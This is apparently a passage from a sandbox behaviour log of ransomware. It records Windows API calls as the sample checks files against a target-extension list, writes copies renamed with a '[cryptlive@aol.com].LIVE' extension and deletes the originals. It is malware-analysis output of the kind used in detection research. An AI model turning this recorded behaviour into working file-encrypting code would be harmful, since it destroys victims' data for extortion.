[0148.729] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.729] lstrlenW (lpString=".7z") returned 3 [0148.729] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0148.729] lstrlenW (lpString=".dbf") returned 4 [0148.729] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0148.729] lstrlenW (lpString=".1cd") returned 4 [0148.729] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0148.729] lstrlenW (lpString=".jpg") returned 4 [0148.729] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0148.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0148.729] lstrlenW (lpString=".doc") returned 4 [0148.729] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.729] lstrlenW (lpString=".docx") returned 5 [0148.729] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0148.729] lstrlenW (lpString=".pdf") returned 4 [0148.729] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.729] lstrlenW (lpString=".xls") returned 4 [0148.730] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.730] lstrlenW (lpString=".xlsx") returned 5 [0148.730] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0148.730] lstrlenW (lpString=".ppt") returned 4 [0148.730] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0148.730] lstrlenW (lpString=".zip") returned 4 [0148.730] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.730] lstrlenW (lpString=".rar") returned 4 [0148.730] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.730] lstrlenW (lpString=".bz2") returned 4 [0148.730] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.730] lstrlenW (lpString=".7z") returned 3 [0148.730] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0148.730] lstrlenW (lpString=".dbf") returned 4 [0148.730] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0148.730] lstrlenW (lpString=".1cd") returned 4 [0148.730] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0148.730] lstrlenW (lpString=".jpg") returned 4 [0148.730] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.730] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0148.730] lstrlenW (lpString="J0099160.JPG") returned 12 [0148.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0148.739] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=15145) returned 1 [0148.739] CloseHandle (hObject=0x3d4) returned 1 [0148.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg")) returned 0x20 [0148.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.809] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.809] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.810] GetLastError () returned 0x0 [0148.810] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x3b29, lpOverlapped=0x0) returned 1 [0148.812] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x3b30, lpOverlapped=0x0) returned 1 [0148.813] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0148.813] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.813] SetEndOfFile (hFile=0x384) returned 1 [0148.813] CloseHandle (hObject=0x384) returned 1 [0148.813] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.813] SetEndOfFile (hFile=0x39c) returned 1 [0148.816] CloseHandle (hObject=0x39c) returned 1 [0148.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg")) returned 1 [0148.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0148.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0148.817] lstrlenW (lpString=".doc") returned 4 [0148.817] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.817] lstrlenW (lpString=".docx") returned 5 [0148.817] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0148.817] lstrlenW (lpString=".pdf") returned 4 [0148.817] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.817] lstrlenW (lpString=".xls") returned 4 [0148.817] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.817] lstrlenW (lpString=".xlsx") returned 5 [0148.817] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0148.817] lstrlenW (lpString=".ppt") returned 4 [0148.817] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0148.817] lstrlenW (lpString=".zip") returned 4 [0148.817] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.817] lstrlenW (lpString=".rar") returned 4 [0148.817] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.817] lstrlenW (lpString=".bz2") returned 4 [0148.817] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.817] lstrlenW (lpString=".7z") returned 3 [0148.817] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0148.817] lstrlenW (lpString=".dbf") returned 4 [0148.817] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0148.817] lstrlenW (lpString=".1cd") returned 4 [0148.818] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0148.818] lstrlenW (lpString=".jpg") returned 4 [0148.818] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0148.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0148.818] lstrlenW (lpString=".doc") returned 4 [0148.818] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.818] lstrlenW (lpString=".docx") returned 5 [0148.818] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0148.818] lstrlenW (lpString=".pdf") returned 4 [0148.818] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.818] lstrlenW (lpString=".xls") returned 4 [0148.818] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.818] lstrlenW (lpString=".xlsx") returned 5 [0148.818] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0148.818] lstrlenW (lpString=".ppt") returned 4 [0148.818] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0148.818] lstrlenW (lpString=".zip") returned 4 [0148.818] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.818] lstrlenW (lpString=".rar") returned 4 [0148.818] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.818] lstrlenW (lpString=".bz2") returned 4 [0148.818] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.818] lstrlenW (lpString=".7z") returned 3 [0148.818] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0148.818] lstrlenW (lpString=".dbf") returned 4 [0148.818] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0148.818] lstrlenW (lpString=".1cd") returned 4 [0148.818] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0148.818] lstrlenW (lpString=".jpg") returned 4 [0148.819] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.819] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0148.819] lstrlenW (lpString="J0099167.JPG") returned 12 [0148.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.819] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=43949) returned 1 [0148.819] CloseHandle (hObject=0x39c) returned 1 [0148.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg")) returned 0x20 [0148.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.820] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.820] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.821] GetLastError () returned 0x0 [0148.821] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xabad, lpOverlapped=0x0) returned 1 [0148.823] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xabb0, lpOverlapped=0x0) returned 1 [0148.825] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0148.825] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.825] SetEndOfFile (hFile=0x384) returned 1 [0148.825] CloseHandle (hObject=0x384) returned 1 [0148.825] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.825] SetEndOfFile (hFile=0x39c) returned 1 [0148.828] CloseHandle (hObject=0x39c) returned 1 [0148.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg")) returned 1 [0148.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0148.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0148.829] lstrlenW (lpString=".doc") returned 4 [0148.829] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.829] lstrlenW (lpString=".docx") returned 5 [0148.829] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0148.829] lstrlenW (lpString=".pdf") returned 4 [0148.829] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.829] lstrlenW (lpString=".xls") returned 4 [0148.829] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.829] lstrlenW (lpString=".xlsx") returned 5 [0148.829] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0148.829] lstrlenW (lpString=".ppt") returned 4 [0148.829] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0148.829] lstrlenW (lpString=".zip") returned 4 [0148.829] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.829] lstrlenW (lpString=".rar") returned 4 [0148.829] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.829] lstrlenW (lpString=".bz2") returned 4 [0148.829] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.829] lstrlenW (lpString=".7z") returned 3 [0148.829] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0148.829] lstrlenW (lpString=".dbf") returned 4 [0148.830] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0148.830] lstrlenW (lpString=".1cd") returned 4 [0148.830] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0148.830] lstrlenW (lpString=".jpg") returned 4 [0148.830] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0148.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0148.830] lstrlenW (lpString=".doc") returned 4 [0148.830] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.830] lstrlenW (lpString=".docx") returned 5 [0148.830] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0148.830] lstrlenW (lpString=".pdf") returned 4 [0148.830] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.830] lstrlenW (lpString=".xls") returned 4 [0148.830] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.830] lstrlenW (lpString=".xlsx") returned 5 [0148.830] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0148.830] lstrlenW (lpString=".ppt") returned 4 [0148.830] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0148.830] lstrlenW (lpString=".zip") returned 4 [0148.830] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.830] lstrlenW (lpString=".rar") returned 4 [0148.830] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.830] lstrlenW (lpString=".bz2") returned 4 [0148.830] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.830] lstrlenW (lpString=".7z") returned 3 [0148.830] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0148.830] lstrlenW (lpString=".dbf") returned 4 [0148.830] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0148.831] lstrlenW (lpString=".1cd") returned 4 [0148.831] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0148.831] lstrlenW (lpString=".jpg") returned 4 [0148.831] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.831] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0148.831] lstrlenW (lpString="J0099168.JPG") returned 12 [0148.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.831] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=20179) returned 1 [0148.831] CloseHandle (hObject=0x39c) returned 1 [0148.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg")) returned 0x20 [0148.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.832] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.832] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.833] GetLastError () returned 0x0 [0148.833] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x4ed3, lpOverlapped=0x0) returned 1 [0148.865] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x4ee0, lpOverlapped=0x0) returned 1 [0148.914] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0148.914] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.914] SetEndOfFile (hFile=0x384) returned 1 [0149.244] CloseHandle (hObject=0x384) returned 1 [0149.244] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.244] SetEndOfFile (hFile=0x39c) returned 1 [0149.246] CloseHandle (hObject=0x39c) returned 1 [0149.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg")) returned 1 [0149.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0149.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0149.248] lstrlenW (lpString=".doc") returned 4 [0149.248] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.248] lstrlenW (lpString=".docx") returned 5 [0149.248] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0149.248] lstrlenW (lpString=".pdf") returned 4 [0149.248] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.248] lstrlenW (lpString=".xls") returned 4 [0149.248] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.248] lstrlenW (lpString=".xlsx") returned 5 [0149.248] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0149.248] lstrlenW (lpString=".ppt") returned 4 [0149.248] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0149.248] lstrlenW (lpString=".zip") returned 4 [0149.248] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.248] lstrlenW (lpString=".rar") returned 4 [0149.248] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.248] lstrlenW (lpString=".bz2") returned 4 [0149.248] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.248] lstrlenW (lpString=".7z") returned 3 [0149.248] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0149.249] lstrlenW (lpString=".dbf") returned 4 [0149.249] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0149.249] lstrlenW (lpString=".1cd") returned 4 [0149.249] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0149.249] lstrlenW (lpString=".jpg") returned 4 [0149.249] lstrcmpiW (lpString1=".jpg", 